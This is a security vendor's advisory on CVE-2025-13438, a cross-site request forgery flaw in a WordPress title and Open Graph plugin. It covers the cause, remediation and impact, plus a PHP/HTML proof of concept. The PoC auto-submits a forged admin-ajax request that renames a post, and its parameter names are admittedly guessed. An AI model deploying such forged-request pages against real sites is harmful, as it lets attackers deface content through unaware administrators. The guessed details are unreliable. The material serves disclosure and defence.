Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13438: Page Title, Description & Open Graph Updater <= 1.02 – Cross-Site Request Forgery to Arbitrary Page Title Modification (page-title-description-open-graph-updater)

Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.02
Patched Version
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13438 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Page Title, Description & Open Graph Updater WordPress plugin, affecting all versions up to and including 1.02. The vulnerability allows unauthenticated attackers to modify page titles and metadata by tricking an administrator into performing an action like clicking a link. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited integrity impact.

Atomic Edge research identifies the root cause as missing nonce validation on multiple AJAX actions, specifically including the `dieno_update_page_title` action. In WordPress, AJAX handlers for authenticated users must verify a nonce (number used once) to ensure the request originated from a legitimate user session. The plugin’s AJAX callback functions lack this security check. This conclusion is inferred from the CWE-352 classification and the vulnerability description, which explicitly states missing nonce validation. Without source code, Atomic Edge cannot confirm the exact number or names of all vulnerable AJAX actions beyond the one mentioned.

Exploitation requires an attacker to craft a malicious web page or email containing a forged HTTP request. When a logged-in WordPress administrator visits this page, their browser automatically sends a request to the vulnerable AJAX endpoint. The target endpoint is `/wp-admin/admin-ajax.php`. The attacker must set the `action` parameter to `dieno_update_page_title`. Additional POST parameters, such as `post_id` and `new_title`, would be required to specify which page to modify and what title to set. The exact parameter names are inferred from standard plugin patterns and the function’s purpose.

Remediation requires adding proper nonce verification to all AJAX action handlers within the plugin. The fix involves retrieving the nonce from the request using `$_POST[‘_wpnonce’]` or a similar parameter and validating it with `wp_verify_nonce()`. The AJAX callback function should terminate execution with `wp_die()` if verification fails. A capability check, such as `current_user_can(‘edit_posts’)`, should also be present to ensure only authorized users can trigger the action, though the CSRF flaw stems specifically from the missing nonce.

The impact of successful exploitation is unauthorized modification of page titles and associated metadata, which can harm site integrity and SEO. Attackers could deface site content, inject misleading information, or damage search engine rankings. The attack does not directly lead to privilege escalation, remote code execution, or data confidentiality loss. It requires the attacker to successfully social engineer a site administrator into interacting with the malicious content while authenticated.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13438 - Page Title, Description & Open Graph Updater <= 1.02 - Cross-Site Request Forgery to Arbitrary Page Title Modification
<?php
/**
 * Proof of Concept for CVE-2025-13438 (CSRF in Page Title, Description & Open Graph Updater plugin).
 * This script generates an HTML page that forges a POST request to the vulnerable AJAX endpoint.
 * Assumptions:
 * 1. The target site has the vulnerable plugin (v1.02 or earlier) installed.
 * 2. The victim is a logged-in WordPress administrator.
 * 3. The AJAX action 'dieno_update_page_title' is correctly registered.
 * 4. The required POST parameters are 'post_id' and 'new_title'. Parameter names are inferred from plugin functionality.
 */

$target_url = 'https://vulnerable-site.example.com';
$ajax_path = '/wp-admin/admin-ajax.php';
$action = 'dieno_update_page_title';
$post_id = 1; // ID of the page/post to modify
$new_title = 'Hacked Title - Atomic Edge Research';

?>
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-13438 PoC</title>
</head>
<body>
    <h2>CSRF PoC - Page Title Update</h2>
    <p>If a site administrator views this page while logged into the target WordPress site, the form below will automatically submit a forged request to change the title of Post ID <?php echo $post_id; ?>.</p>
    <form id="exploit_form" action="<?php echo htmlspecialchars($target_url . $ajax_path); ?>" method="POST">
        <input type="hidden" name="action" value="<?php echo htmlspecialchars($action); ?>">
        <input type="hidden" name="post_id" value="<?php echo htmlspecialchars($post_id); ?>">
        <input type="hidden" name="new_title" value="<?php echo htmlspecialchars($new_title); ?>">
        <!-- Other potential parameters for metadata (inferred) -->
        <!-- <input type="hidden" name="new_description" value="Hacked description"> -->
        <!-- <input type="hidden" name="new_og_title" value="Hacked OG Title"> -->
        <input type="submit" value="Submit (Manual)">
    </form>
    <script>
        // Auto-submit the form after a short delay to simulate a clickbait attack
        setTimeout(function() {
            document.getElementById('exploit_form').submit();
        }, 3000);
    </script>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School